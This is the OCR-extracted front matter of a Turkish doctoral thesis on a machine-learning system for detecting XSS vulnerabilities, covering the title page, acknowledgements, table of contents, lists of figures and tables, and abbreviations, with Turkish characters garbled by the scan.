SIS . 1.C. o
2(N %2 e ISTANBUL UNIVERSITESI
%,@ FEN BILIMLERI ENSTITUSU
DOKTORA TEZI

WEB TABANLI UYGULAMALARDA SITELER ARASI BETIK
CALISTIRMA (XSS) ZAFIYETININ DENETLENMESI ICIN
OGRENEN BiR SISTEM GELISTIRILMESI

Halil Ozgiir BAKTIR

Enformatik Anabilim Dah

Enformatik Programi

DANISMAN
Prof. Dr. Sevinc GULSECEN

Eyliil, 2022

ISTANBUL




Bu calisma, 12.09.2022 tarihinde agsagidaki jiiri tarafindan Enformatik Anabilim Dali

Enformatik Programinda Doktora Tezi olarak kabul edilmistir.

Tez Jiurisi

Prof. Dr. Seving GULSECEN (Danigsman)
Istanbul Universitesi
Enformatik Anabilim Dali

Dog. Dr. Ziimriit ECEVIT SATI Prof. Dr. Ozgiir OZLUK
Istanbul Universitesi MEF Universitesi
Siyasal Bilgiler Fakiiltesi Miihendislik Fakiiltesi
Prof. Dr. K. Hiiseyin KOC Dog¢ Dr. Cigdem SELCUKCAN EROL
Istanbul Universitesi Cerrahpasa Istanbul Universitesi

Orman Fakiiltesi Enformatik Anabilim Dali



- Intihal Programm Beyam

20.04.2016 tarihli resmi gazetede yayimlanan Lisansiistii Egitim ve Ogretim Yo6netmeliginin
9/2 ve 22/2 maddeleri geregince; Bu Lisansiistii teze, Istanbul Universitesi’nin abonesi
oldugu intihal yazilim programi kullanilarak Fen Bilimleri Enstitiisii’niin belirlemis oldugu

Ol¢iitlere uygun rapor alinmustir.




ONSOZ

Oncelikle Enformatik Béliimiindeki egitimim ve tez ¢aliymam boyunca higbir zaman
destegini esirgemeyen saygideger damsmanmim Prof. Dr. Seving GULSECEN’e en igten
tesekkiirlerimi sunarim. Tez calismam siiresince motivasyonumu koruma ve siirekli iiretken
olma konusunda bana muazzam katkilar1 oldu. Kendisinden ¢ok sey ogrendim ve ilham
aldim, danismanim oldugu i¢in sansl oldugumu diisiiniiyorum.

Olaganiistii yardimlar1 ve rehberlikleri icin ¢ok degerli hocalarim Dog. Dr. Ziimriit ECEVIT
SATI ve Prof. Dr. Ozgiir OZLUK e sayg1 ve siikranlarimi sunar, cok tesekkiir ederim.

Ayrica, basindan beri hep yanimda olan, desteklerini ve hosgoriilerini hicbir zaman
esirgemeyen tiim aileme de sonsuz tesekkiirlerimi sunarim.

Eyliil, 2022 Halil Ozgiir BAKTIR

iv



ICINDEKILER

Sayfa No

(020 7/ iv
ICINDEKILER ......uuvviiitiieiitreeniieeesnreeessneeessssesssssesessssessssssssssssesessssessssssens viii
SEKIL LISTESI ...eeeettiiiitieicitieecteecceecccreesssseessaesssseessssassessesssssasssssessssasssnnes xii
TABLO LISTEST ...cveuiiiiiiiiiiniiiiiiciniciciictncnsniscnsesesssessssssessssesnens xiv
SIMGE VE KISALTMA LISTEST ...coouiviiniiiiniiiiiiiiinicicicicnicicicnscssesnennennes XX
OZET ...cooeeeeiiiiiiiiniiciicciasnntectecsesiossecsecsessessnssessessesssnsessessessessesssssssssssssnssans xxi
N 07 017 1 N 2 N Xxxil
Lo GIRIS ettt eccctteeecceteeecessaneeeeeeasseessssssssessssssssassssssssessessssssesssnnns 1
2. GENEL KISIMLAR ..cccuiititiiiiiiiiiiiiiitiiiiiiiiitiitiieiiesieceesscsisssssssessesssssssnns 10
2.1. WEB GUVENLIGI EKOSISTEMI ......c.cooiiiiiiiiiieiciece 10
2.1.1. Web’de yayimlama icin kullanilan teknolojiler .................c..coiiiiiniinn. 13
2.1.1.1. Uniform Resource Locator (URL) ..........c.cccccooviiiuiiiiiiiiiiiininiininennn, 14
2.1.1.2. Hypertext Transfer Protocol (HTTP) .........ccccccoveiiuiiiiiiiiiiiiiiiiininnennn, 14
2.1.1.3. Hypertext Markup Language (HTML) ..........c.ccccoovvviiiiiiiiiiiiiainnnnnnn. 16
2.1.1.4. Cascading Style Sheets (CSS) ...couiuniiiiiiiiiiiieiieie e 17

2.1 1.5, JAVASCTIPE «.coniiiiiiii e 17
2.1.1.6. WebASSEMDLY ..........ccooeuieieeiiei e 18
2,117 KU RAVUZU oo 18

2.1 1.8 COrezler ...c..oouuiiiiiiiiiii i 19

2.1.2. Insan ve siireg ile iligkili faAKtOTIEr .............cccoeeiiiiiiieiiiiiiiee e 19
2.1.2.1. GeliStIFICILOT o..vvnveneieieee e 22
2.1.2.2. Diizenleyici/Denetleyici kurum ve kuruluslar ..................c.cccocoeeevenn.n. 24
2.1.2.3. OFOFILLOT ....ceiieiie e 28
2.1.2.4. Politika ve proSediirler ...............couuuueuiiuiiiiiiiiiiiieiieiteiei e 29

2.1.3. Egitim ve farkindalik ... 31
2.1.4. OWASP TOP 10 ooniiiiiie e 33

2.2. SITELER ARASI BETIK (;ALISTIRN%A (XSS) ZAFIYETI wovvvoeeeeeeeiiiii 38



2.2.1. XSS Saldirt TULIETT .oononiieie e e e 39

2.2.1.1. Yansitilmis (Reflected) XSS ooovniniiiii e 49
2.2.1.2. Depolanmigs (Stored) XSS ...cooeuieiiiiiiiii i 50
2.2.1.3. DOM Tabanli XSS ......c.oeouiiiiiiii et 52
2.2.1.4. Diger XSS TUFIETT ......couveniiiiiiiiiiiii i 53
2.2.2. Bagarili Bir XSS Saldirisinin On Kosullart ................occveeeviieeeiiieeeinnennn, 57
2.2.2.1. Enjekte edilebilirlik .............cccoviiuiiuiiiiiiiiiiiii et 57
2.2.2.2. YiritileDilirlik ..........ccccoiiiiiiiiiiiiiiii i 60
2.2.2.3. Disart sizma kabiliyeti ..............ccoviuiiiiiiiiiiiiiiiiiiiiiiiiiieeeee e 62
2.2.3. XSS Saldirtlarinin Tehditleri ..........coooiiiiiiiii e 66
2.2.4. XSS Saldirtlarinin EtKIleri ...........ooiiiiiii e 69
2.2.5. XSS Tespit YONEMICTT .....ovvniuniineiniineineieie et eaeeaeans 69
2.2.5.1. Istemci Tarafi Tespit Yaklasumlart ...............cccccccoeeeeeeeeiiieiieeeeeeenn, 71
2.2.5.2. Sunucu Tarafi Tespit Yaklasimlart ...............ccocooeiiiiiiiiiiiiiniiniiniininn.n. 86
2.2.5.3. Istemci-Sunucu Tarafi Tespit Yaklasimlart ....................ccccccoooeeeeenn... 102
2.3. MAKINE OGRENMESI ......c..ocoiiiiiiiiiiiiiiie e, 109
2.3.1. Takviyeli OBIENIME ..........ooiiiiiiiiieiiiiee e 115
2.3.2. Denetimli OBrenme ...........ccc.ccooiviiieiiiieiiiie e, 116
2.3.2.1. Birliktelik Kuralit Smiflandirmast ...............ccccoeeveiiiiiiiniiniiieieinannnnn, 117
2.3.2.2. Destek Vektor MAKINeST ..............c.oveuiiiuiiiiniiiiiiiiiiiiiiieiieeeean 118
2.3.2.3. Yapay Sinir AGIAry ..........ccooiiuiiiiiiiiiiii i 120
2.3.2.4. Karar AGACIATT ..........couvuniuiiiiiie e 123
2.3.2.5. BaAyes AGLATL ........couvuneneiiei e 124
2.3.2.6. Saklt Markov Modeli .................cccoeuiieiiiiiiiiiiiiiiiiiiiiiie e 126
2.3.2.7. Kolektif Ogrenme (Bootstrap, Bagging ve AdaBoost) .......................... 129
2.3.2.8. Rastgele OTMAN .............ccooiiuiiiiiiiiiiiiiiiiii e 131
2.3.2.9. Genellestirilmis Dogrusal Model ...............c..cc.ccoeoiiiiiiiiniiniiniinnann.n. 132
2.3.3. Denetimsiz OBIENME ..........oeeiiiiiiiiiiiiiee e 135
2.3.3.1. k-Ortalamalar Kiimeleme ..................cccccoiiiiiiiiiiiiiiiiiiiiiiiiiiiiainennen, 136
2.3.3.2. Beklenti MaksimiZASYONU ...........ccc.oeueuiiiiniiininiieeiieiieieie e e 137
2.3.3.3. k-En Yakin KOMSU ........cccoveuiiuiiuiiiiiiiiiiiiis et 139
2.3.3.4. Kendini Diizenleyen Haritalar YSA .........cc.cooiiiiiiiiiiiiiiiiiiiiiiiiinennn, 140
2.3.3.5. Temel Bilesenler ANGLIZI ..........c.ccooovuveiiiiniiiiiiiiiiiiiiii e 140



2.3.4. Yar1 Denetimli OBrenme ..............ccooiueiieiiiiiieeieiieeeeeeeee e 142

3. YONTEM, MODEL TASARIMI VE UYGULANMASI .......cceeeeerueeeeeernveeneenns 147
3.1. CALISMADA UYGULANAN YONTEM ........ccooiiiiiiiiiiiiieeeeee e, 148
3.1.1. Faz 1: XSS tespitinde kullanilabilecek 6zelliklerin derlenmesi .................... 148
3.1.2. Faz 2: Veri kitapliginin olusturulmast .............coooviiiiiiiiniiiiniiiiineeeenes 150
3.1.3. Faz 3: Veri On-iSI€me ......c.oouiiiiiiii i 151
3.1.4. Faz 4: OzelliK ¢IKAIMA .......ccooeiiiiiiiieiiiieeiie e, 152
3.1.5. Faz 5: Ozellik SECIMI ....vvvvvvieiiiieiiiiiieie e 153
3.1.6. Faz 6: Veri siniflandirma ve sonug degerlendirme ..................ccccoveveniennenn. 154

3.2. VERI ON-ISLEME VE OZELLIK CIKARMA ......ooooviiiiiiiiiiiiiiiieeeeeee 157
32010 VBT SELL wneiieiie e 157
3.2.2. VEri tOPIAMA . ..neiiiiiiiie e 158
3.2.3. Veri dOZrulama ..........oeuiiniiiiii e 160
3.2.4. Veri ON-1SI8ME .....oeuiiniiiiiiiiiie e 160
3.2.4.1. Biiyiik-kiiciik Harf DORGSTME ............ccouiieuiiiiiiiiiiiiiiiiiiiieiiicinciean 161
3.2.4.2. Frekans NormaliZaSYONU ............c.ccouveiiuiiiiniiniiiiniiiieieieineeiaiaennn 161

3.2.5. Ozellik ¢1KArmMAa SUIECT ....vvvvveeeeeiieiiiiieee e 161
3.2.5.1. Ikili Tabanly Ozellik CIKQIMQA ...........c.ovveeeeeeeeiiiiiiiiiiiiiei e, 162
3.2.5.2. Frekans Tabanli Ozellik ClkQIrma ........................cccceiiiiiiiiiiiieeiein, 164
3.2.5.3. Frekans Tabanl Ozellik Cikarma (Normalize edilmis) ........................ 167
3.2.5.4. Terim Frekansi (TF) Tabanli Ozellik Cikarma ........................cccc..... 168

7 B 1 B D €1 5 DY N RN 171
4.1. BILGI KAZANIMINA GORE OZELLIK SECIMI SURECH ..........cc..cooevveenn.. 171
4.1.1. Deney Kurulumu ........o.ooiiiiiiii e 171
4.1.2. Ozellik Se¢imi Deneyi SUIECT .........ccoevuvveeiieeeeiiiiieeee e, 173

4.2. SINIFLANDIRMA SURECT ....cooiiiiiiiiiiii e 173
4.2.1. Deney Kurtlumu .......c.oooiiiiiiii e 174
4.2.2. Simiflandirma Deneyi SUIECT ........oouiuiiniiniiiiieiiiie e 176

4.3. DENEYSEL SONUCLAR ..o 176
S. TARTISMA VE SONUQ ..c.cuuiuuiiuiiniiniinirniiiiieiiiiiiiitiiiiieiieiteitaitacscscsscescenes 178
5.1. KULLANILAN OZELLIKLERIN GEREKCESI ...........ccocooviiiiiiiiiiiiee 178

vii



5.2. SECILEN OZELLIKLERE DAIR PERFORMANSIN KARSILASTIRILMASI ..179
5.3. KULLANILAN VERI KUMELERININ PERFORMANS KARSILASTIRMASI 181

5.4. SONUC VE GELECEK CALISMALAR ......ciiiiiiiiiiiiiniinci e 186
KAYNAKLAR  .cooiiiiiiiiiiiiittiitiititiritittiitetiteaestesesssessiessssessssssssessssesssssasees 190
| D) L4 5] ) N 208

EK 1. Uygulamada kullanilan Python kodlart...............c...ooooiii 208
EK 2. Ozellik belirleme ve ¢ikarrminda kullanilan metin dosyalari ....................... 243
OZGECMIS ..ooeoieieetieecteecctteecteeecreeeeeeeessaesssaessssessssaesssseessssesssssssssasssssesns 246

viii



SEKIL LISTESI

Sekil 1.1:
Sekil 1.2:
Sekil 1.3:
Sekil 1.4:
Sekil 1.5:
Sekil 1.6:
Sekil 1.7:
Sekil 1.8:
Sekil 2.1:
Sekil 2.2:
Sekil 2.3:
Sekil 2.4:
Sekil 2.5:
Sekil 2.6:
Sekil 2.7:
Sekil 2.8:

Sekil 2.9:

Sekil 2.10:
Sekil 2.11:
Sekil 2.12:
Sekil 2.13:
Sekil 2.14:
Sekil 2.15:
Sekil 2.16:

Sekil 2.17:

Sayfa No
Bir XSS Saldirisinin Adimlart...........ooooiiiiiiiiiinii 3
Tipe gore Zafiyet Sayilari (CVE Details, 2019) ......c.ovviiiiiiiiiiiiiieeeeeen 4
Yillara gore XSS Zafiyet Sayis1 (CVE Details, 2019) .....oooviiiiiiiiiiiiiiiie, 4
Simifa Gore Giivenlik A¢ig1 Yayginligi - DAST (WhiteHat Security Inc., 2019)........ 5
Smifa Gore Glivenlik A¢i81 Yaygmhigr - SAST (WhiteHat Security Inc., 2019) ........ 5
OWASP Top 10-2017 Zafiyetleri (Positive Technologies, 2019) ...........c...cc...ceee. 6
En Yaygin Web (7. Katman) Zafiyetleri (Edgescan, 2019)............ccccvieiiiiniinnennn.. 7
Beyaz Sapkali Hacker Anket Sonuglar1 (Hackerone, 2019)...........ccoeviiiiiiniinnnennn.. 7
Web Giivenligi Ekosistemi BileSenleri..........c..veuiieiiiiiiniiiiiieiineiieiieeeeieceen 11
OWASP Top 10:2021 (OWASP Top 10, 2021D)...ucevuieiiiiiiiiiiiiiieciineeieeeie e, 36
2010 Twitter XSS solucant (Mutton, 2010) .......ceviniriiiii e 39
2010 YouTube Depolanmis XSS zafiyeti (Zdrnja, 2010) ......coeevviiniinniineiiiieiieennns 40
2011 McAfee XSS zafiyeti (XSSed, 2011) cevuuviiiiiriiiiiiniiiiireiiiie e 40
2011 yilinda NASA web sitesinde XSS zafiyeti bulundu. (UnderNews, 2011) .......... 41
2012 JQuery 1.72 ve alt1 siiriimlerinde DOM XSS zafiyeti (Hayak, 2012)................ 41
2013 Google Mail Depolanmig XSS zafiyeti (Spagnuolo, 2013)..........cccoeeeiiinnnnnnn. 41
2013 yilinda ¢evrim i¢i ddeme sitesi PayPal’de XSS bulundu. (Brook, 2013) ........... 42
2014 YouTube’da Depolanmis XSS Zafiyeti (Vulnerability-db, 2014) ..................... 42
2015 Google Docs, Sheets vb. uygulamalarda XSS zafiyeti (Diata, 2015) ................ 43
2015 Internet Explorer Evrensel XSS giivenlik acig1 (Khandelwal, 2015) ................ 43
2015 yilinda Netflix web sitesinde XSS zafiyeti bulundu. (Javed, 2015) .................. 44
2015 yilinda Yandex web sitesinde XSS zafiyeti bulundu. (Javed, 2015).................. 44
Facebook XSS zafiyeti (Paganini, 2016) .......c..cooouiiiiiiiiiiiiiiiiiiiinc e 45
2016 Google Translate XSS zafiyeti (Hackervis, 2016).........cccviiviiniiiiiiniineiiaannns 45
2016 Instagram Depolanmis OAUTH. XSS zafiyeti (Yibelo, 2016) .......ccvveveveennennn. 45

IX



Sekil 2.18:
Sekil 2.19:
Sekil 2.20:
Sekil 2.21:
Sekil 2.22:
Sekil 2.23:
Sekil 2.24:
Sekil 2.25:
Sekil 2.26:
Sekil 2.27:
Sekil 2.28:
Sekil 2.29:
Sekil 2.30:
Sekil 2.31:
Sekil 2.32:
Sekil 2.33:
Sekil 2.34:
Sekil 2.35:
Sekil 2.36:
Sekil 2.37:
Sekil 2.38:
Sekil 2.39:
Sekil 2.40:
Sekil 2.41:
Sekil 2.42:
Sekil 2.43:
Sekil 2.44:
Sekil 2.45:
Sekil 2.46:

Sekil 2.47:

2016 Yahoo Mail XSS giivenlik aci81 (Pynnonen, 2016) ...........ccveeviiiiiiiniiiinennne. 46
2018 Drupal 7.x Yansitilmig XSS zafiyeti (Knaddison, 2018) ........cccoeeviiiiiniinninnne. 46
2018 Evernote WebClipper aract Evrensel XSS aci1g1 (Chester, 2018) ..................... 47
2019 CyberArk Labs, “Outlook For Android” XSS zafiyeti (Coppenhagen, 2019)..... 47
2019 WordPress 5.0.3 Depolanmig XSS zafiyeti (Dingel, 2019) ..........ccoovviiiiniinni. 47
XSS Saldirtlarinin Taksonomisi (Cao ve dig., 2012) .....viviiniiiiiiiiiieiieeieeieeeieeiens 49
Yansitilmig XSS Saldirt Modeli........coouiiiiiniiiiiieieie e 50
Depolanmig XSS Saldirt Modeli........ccoovuiiiiiiiiiiiii e 51
DOM Tabanlt XSS Saldirt MOdeli .....c.ouuiiiniiniiiiiiie e 53
XSS Analizi (Acunetix, 2019) . ....couiiiiiiii s 54
Bir Igerik Koklama XSS Saldirt Ornegi (Barth, Caballero ve Song, 2009) ............... 55
Mutasyona Dayalt XSS Ornegi Kodu .............cccooveiiiiiiiiiiiiieeiiee e, 56
XSS Giivenlik A¢1g1 Konumlandirict Kod Ornegi (htmlpurifier, 2019) .................... 57
XSS Giivenlik A¢1g1 Konumlandirict Kisa Kod Ornegi (htmlpurifier, 2019)............. 57
XSS Tespit Yaklagimlarinin Stniflandirtlmast...........eveeeiiiiiiineiiniiiieeeeeiieaens 70
Yayinlanan Bildiri/Makalelerin XSS Yaklagimlarinin Dagilimi (2002-2019) ............ 71
Statik Analiz AdImIart ..........ooiiuiiiiiii e 72
XSS Denetgisi (Stasinopoulos, Ntantogian ve Xenakis, 2014)........c.c.ccoeeeeniinnennn.. 73
Microsoft IE8 XSS Filtresi (Microsoft Security Response Center Blog, 2019).......... 74
XSS Filtresinin Mantiksal Akis1 (Microsoft Security Response Center Blog, 2019)... 74
Dinamik Analiz AdImIArt ..........ooooiiiiiiiiiiiiii e 78
BrowserShield BIOK Semasi..........c.uiiuiiiniiiiiieiie et e e e 80
Ornek bir DOM tabanli XSS zafiyet kodu (Pan ve Mao, 2016)...........ccccceeveeeeeenn... 82
XSS-SAFE mantiksal semasi (Gupta ve Gupta, 2015) ....coeeniiiiiiiiiiiiiiiiiineenns 91
SWAP mantiksal semas1 (Wurzinger ve dig., 2009) .........ccoooiiiiiiiiiniiiniiinie, 95
Smarty sablon motorunda Noncespace’in uygulanmasi (Gundy ve Chen, 2009)........ 105
XSS tespit yaklagimlar: ve ¢oziimleri (Nithya, Pandian ve Malarvizhi, 2015) ........... 107
Makine Ogrenmesi Siireci (Jain, Duin ve Mao, 1999)..............cccoiveiiiiineeeeineen, 110
Makine Ogrenmesi Algoritmalarina Genel bir BaKis ................cocovveiiiieeeeeineenne. 112
Takviyeli Ogrenme ve Ogrenme Ajan;(mn Genel Yapisi (Ribeiro, 1999) .................. 115



Sekil 2.48:
Sekil 2.49:
Sekil 2.50:
Sekil 2.51:
Sekil 2.52:
Sekil 2.53:
Sekil 2.54:
Sekil 2.55:
Sekil 2.56:
Sekil 2.57:
Sekil 3.1:
Sekil 3.2:
Sekil 3.3:
Sekil 3.4:
Sekil 3.5:
Sekil 3.6:
Sekil 3.7:
Sekil 3.8:
Sekil 3.9:
Sekil 3.10:
Sekil 3.11:
Sekil 4.1:
Sekil 4.2:
Sekil 4.3:
Sekil 4.4:
Sekil 4.5:
Sekil 4.6:
Sekil 4.7:
Sekil 4.8:

Sekil 5.1:

Dogrusal Ayrilabilir Verilerle DVM (Martono, Ali ve Salami, 2007)....................... 119
McCulloch ve Pitts tarafindan 6nerilen néron modeli (McCulloch ve Pitts, 1943) ..... 120
Basit bir Yapay Sinir A1 Modeli (Krenker, BeSter ve Kos, 2011)........cc...ccoeeeuneenan. 122
Ornek Karar Agac1 Yapisi (Safavian ve Landgrebe, 1991)..........cc.coooviviieeeinneennn.. 124
Ornek bir faktorlii birlesik olasilik dagilimi ile Bayes AS1.........cccccooevvveeeeinneennne. 125
Sakli Markov Model MIMATIST ........ueieuiueiiiiiiiiiieeiii e 126
AdaBoo0st AlZOTItMA AKIST ...uvvuiiniiieii ettt et et et e e e e et e eeea e et eaeeaeannas 132
k-En Yakin Komgu Smiflandirmast (K =15) .......ouuiiiiiiiiiiiiiiiiiiiiiiiiiiii, 139
Iki boyutlu bir Gauss karisim veri kiimesinde TBA uygulamasi 6rnegi.................... 142
Etiketsiz verilerin varliginda ikili stniflandirmanin temel bir 6rnegi ........................ 146
UygUlama CeIGEVESI. .. .uevuuiiin ittt ettt ettt et ettt ea e e 149
Ozellikler (features.txt) dosyasinin iceriginin ekran gorintiisti ...................cc.......... 150
XSS olan ve XSS olmayan web sayfalarinin oranini...............ccoovevnviieinnenneinnennnns 152
binary.csv dosyasinin ekran goriintiisii (Ornek) .............ooooviveiiiiieieiiieeeeeiieeee, 154
Ozellik SeCimi STIEE AKISI.......ocvvveeeeeee et 154
Siniflandirma STIre¢ AKIST....o.viniiniiii e 155
Ozellik Cikarma Siireci BIOK SEMASI............ccovuvieiiiiiieieieee e e e, 164
Var veya yok oluslarina gore 6zellikleri ¢ikarma (1 veya 0) ......c.ooeevviiiiiiniiininnn.. 165
Frekanslarina gore 6zellikleri gikarma ...........c.oooooiiiiiiiiiiiiiniiii e, 166
RapidMiner ile veri normaliZaSyOonU. ...........oeuueuneireineiieiineieiieeieeieeeieereeieannes 168
Terim frekanslarina gore dzelliklerin ¢ikartlmast ..........ccvveeuiviiiiiiiiniiniiinineenn. 170
RapidMiner’da Bilgi Kazanimi (IG) parametreleri .........c..oeeuvviiuniiiniiiiiiineiinnennn.. 172
RapidMiner’da Agirliga Gore Se¢im parametreleri ..........vvvvvivneiineineiieineieiinennnns 172
Ozellik Segimi SHIEE AKIST......coouvrieieee e 173
RapidMiner ile temel siniflandirma SUTECt .........c.uvevniiniiiiiiiiiiiiiniiiieceeea 174
Bilgi Kazancina gore agirlik kullanarak 6zellikleri segme Ornegi...........ccveeueeuneenne. 174
RapidMiner’da Cross Validation operatoriintin detay1.........c.ceeeeuveevinieiiiinneennnennn.. 174
RapidMiner Capraz Dogrulama parametreleri ..........o..veeuuveiuneiiineiiniiiniiiineeieenn. 175
Stniflandirma STIEC AKISI.....uuiieiieiiii et e e eens 176
Ozellik secimine dayali dogruluk metrigi sonuglarinin kargilagtirilmast.................... 180

X1



Sekil 5.2:
Sekil 5.3:
Sekil 5.4:

Sekil 5.5:

Ozellik secimine dayali geri cagirma metrigi sonuglarinin karsilagtirilmast .............. 181
Kullanilan veri setine gore dogruluk metrigini kargilagtirma ...............cc.ocoveeiininnn.. 183
Kullanilan veri setine gore geri ¢cagirma metrigini kargilagtirma ...........c...cooeeeennneee. 183
Rapidminer’da Korelasyon Matrisi operatoriiniin kullanilmasi ............cc...ccooceeene. 185

xii



TABLO LISTESI

Sayfa No
Tablo 2.1: URL NN DOIIMIETT ..ccevuuieiiieeiiii e 15
Tablo 2.2: OWASP 2017 TOP 10+ ...u it 36
Tablo 2.3: Gecmiste yasanan bazi1 XSS saldirt olaylart ve kullanict etkileri..........c...cco.ceeeenen. 48
Tablo 2.4: Bazi XSS Saldirt VeKtOIIeri .........ooiiiiiiiiiiii e, 61
Tablo 2.5: Olay ISleyici TUITEIT ........oeiiiieie it 62
Tablo 2.6: Kum havuzu OZniteliKIeri .........c..veiuiiiiiiiii e, 63
Tablo 2.7: Icerik Giivenligi Politikast OZelliKIeri............c...ccoeiuiriiiiiiieeeiiie e 66
Tablo 2.8: Icerik Giivenligi Politikas1 Yonergeleri (W3C CSP2, 2019).........cccceevvieeuieeennennn. 67
Tablo 2.9: Ozet olarak XSS Filtreleri ...........ccouveiiiiiiiiieiee e 77
Tablo 2.10:Istemci Tarafi XSS Tespit Yaklasimlarmin Ozeti ............cccooeveveriviiiviieeiieeennea, 87
Tablo 2.11:Sunucu Tarafi XSS Tespit Yaklasimlarinin Ozeti ............ccccooooveeieeiiineeiieeeeenn. 101
Tablo 2.12:istemci-Sunucu Tarafi Yaklagimlarin Ozeti............cccc.ooooiiiiiiiiiieiiiieeeeieeeeen 108
Tablo 2.13:Makine Ogrenmesi Yaklagtmlarinm Ozeti ...........cc..ccooveiviiiiiiiiiiieiiieceie e, 109
Tablo 2.14:Olasilik Dagilimi-Baglant1 Fonksiyonu Tliskisi..............ccoovvviiiiiiiiiiieeeeeieieennnn 135
Tablo 3.1: Ozelliklerin frekanslarinin normalizasyonu (Ornek) ...............ccooeeeiiiiieeiiineeaene.. 162
Tablo 3.2: XSS siniflandirma igin kullanilan 8zelliKIer.............c.oooiieiiiiiiiiiiiiii e, 163
Tablo 3.3: Var olup olmadigima bagh olarak cikarilan 6zellik 6rnegi (IKili) ..............cocveeennnnne. 164
Tablo 3.4: Tekrar sayisina gore ¢ikarilan 6zellik drnegi (StkliK) ......cooooviiiiiiiiiiiiniiinnnn. 167
Tablo 3.5: Tekrar sayisina gore ¢ikarilan 6zellik 6rnegi (Normallegtirilmis) .........ccoeeeveennneenn.. 168
Tablo 3.6: Terim frekansina (sikligina) gore cikarilan 6zellik 6rnegi..........ccoeevvveieinviineinnennn.n. 169
Tablo 4.1: Bilgi Kazanimi (IG) parametreleri ..........ccouviniiiniiineiiiineiieei e eieeeanees 172
Tablo 4.2: Agirliga Gore Se¢im parametreleri..........viuneiniiineieeieiireieei e e e e eie e eaeees 172
Tablo 4.3: Capraz Dogrulama parametreleri .............c.oviiuiiiiiiiiiiiiiieii e, 175
Tablo 4.4: 1G teknigi ile belirlenen en iyi 14 agirliklt 6zelliK..........cooeeeiiiiiiiiiiiiinieeae, 177
Tablo 4.5: binary.csv veri seti siniflandirma sonuglart .............ccooviiiiiiiiiiiiniii e, 178

X111



Tablo 4.6: normalized_frequency.csv veri seti stnifflandirma sonuglart ................coooiiininn.. 178
Tablo 4.7: term_frequency.csv veri seti siniflandirma sonuglart ................ooeiiiiiiiiinnnn.. 178

Tablo 5.1: binary.csv veri setinde oOzellik secimi kullanma-kullanmama sonuclarinin
LTy T U 0 ) PP 180

Tablo 5.2: normalized_frequency.csv veri setinde 0Ozellik secimi kullanma-kullanmama
sonuglarinin Karstlagtirtlmast ........oooviiiiiiiiiii 180

Tablo 5.3: term_frequency.csv veri setinde 6zellik secimi kullanma-kullanmama sonuclarinin

KarS1lagtirIImasT . .....eei e 180
Tablo 5.4: Dogruluk metriginin genel SONUGIATT ...........coouiiiiiiiiiiiiiiii e, 182
Tablo 5.5: Geri cagirma metriginin genel SONUCIArt.............oeeiiiiiiiiiiiiiiiii e, 182
Tablo 5.6: Dogruluk metrigi sonu¢larinin karsilagtirtlmast ........ccooeeiviiiiiiiiiiiiiiniiinneenen. 184
Tablo 5.7: Geri Cagirma metrigi sonuglarinin karstlagtirtlmast .......c..ocoviiiiiiiiiiiniinninninnnn. 184

Xiv



SIMGE VE KISALTMA LISTESI

Simgeler

N T

m%z\%@&%ao

~

0

=
3

Aciklama

: girdi

: cikti, etiket

: girdi boyutu

: cikt1 boyutu

: Ornek say1s1

: ornek etki alani (bir kiime)
: etiket etki alam (bir kiime)
: 2 X % model etki alan1
: hipotez uzay1 (bir kiime)
: bir parametre kiimesi

: hipotez fonksiyonu

: hedef fonksiyonu

: kay1p fonksiyonu

: Z’nin dagilimi

: aktivasyon fonksiyonu

: girdi agirhig

: ¢cikt1 agirhigy

: yanli terim

: sinir ag1

: bir grup kiimesi

: grup biyiikligi

: Ogrenme orani

: ayrik frekans

: stirekli frekans

: konvoliisyon islemi

XV



Kisaltmalar Aciklama

AEGIS : Appropriate and Effective Guidance in Information Security

AGM : Attack Graphs Mediator

Al : Artificial Intelligence

ANN : Artificial Neural Networks

ANSI : American National Standards Institute

API : Application Programming Interface

APNIC : Asia Pacific Network Information Centre

ARIN : American Registry for Internet Numbers

ASCII : American Standard Code for Information Interchange

ASP : Active Server Page

ASSEMBLE  : Adaptive Supervised Ensemble

AST : Abstract Syntax Tree

AfriNIC : African Network Information Centre

BEEP : Browser Enforced Embedded Policies

BGG : Behavior Graph Generator

BGP : Behavior Graph Pruning

BGYS : Bilgi Giivenligi Yonetim Sistemi

BIXSAN : Browser Independent XSS Sanitizer

BTK : Bilgi Teknolojileri ve Iletisim Kurumu

CCA : Canonical Correlation Analysis

CDN : Content Delivery Network

CERT : Computer Emergency Response Team

CERT-Bund  : Computer Emergency Response Team fiir Bundesbehorden

CERT-FR : Centre gouvernemental de veille, d’alerte et de réponse aux attaques
informatiques

CFG : Control Flow Graphs

CFS : Correlation Feature Selection)

CISA : Cybersecurity & Infrastructure Security Agency

CLASP : Comprehensive, Lightweight Application Security Process

CLF : Common Log File

CORS : Cross Origin Resource Sharing

CR : Carriage Return

csp : Content Security Policy

XVl



csv
CSSE
CSS
cv
CVE
CWE
CSA
DAST
DDoS
DNS
DOM
DOM
DSI
DVM
DoS
ECMA
EM
ETSI
FN
FP
G/C
GDM
GILM
GIF
HMM
HTML
HTTP
IAB
IANA
ICANN
ICA
IDM
IDS
IESG
IETF
IE

IG

: Comma Seperated Values

: Context Sensitive String Evaluation

: Cascading Style Sheets

: Cross Validation

: Common Vulnerabilities and Exposures
: Common Weakness Enumeration

: Cevrim i¢i Sosyal Aglar

: Dynamic Application Security Testing

: Distributed Denial of Service

: Domain Name System

: Document Object Model

: Domain Object Model

: Document Structure Integrity

: Destek Vektor Makineleri

: Denial of Service

: European Computer Manufacturers Association
: Expectation Maximization

: Buropean Telecommunications Standard Institute
: False Negatif

: False Positive

: “Girdi/Cikt1” veya “Giris/Cikis”

: Genellestirilmis Dogrusal Modeller

: Generalized Linear Models

: Graphics Interchange Format

: Hidden Markov Model

: HyperText Markup Language

: HyperText Transfer Protocol

: Internet Architecture Board

: Internet Assigned Numbers Authority

: Internet Corporation for Assigned Names and Numbers
: Independent Component Analysis

: Internet Download Manager

: Intrusion Detection System

: Internet Engineering Steering Group

: Internet Engineering Task Force

: Internet Explorer

: Information Gain

xvii



IGF
10S
IPS
P
IRTF

: Internet Governance Forum

: “Internet Operating System” veya “iPhone Operating System”
: Intrusion Prevention System

: Internet Protocol

: Internet Research Task Force

ISO/IEC/JTCI : International Organization for Standardization /

International Electrotechnical Commission / Joint Technical Committee 1

ISOC
ITU
JSON
JSP

JS
KDH
LACNIC
LDAP
LDA
LDA
LF
MAC
MccC
MCMC
MDS
MIME
NB

NP
NRO
NoSQL
OAuth
OSN
OWASP
PCA
PDF
PHP
PIN
PLI

RFC

: Internet Society

: International Telecommunication Union
: JavaScript Object Notation

: Java Server Page

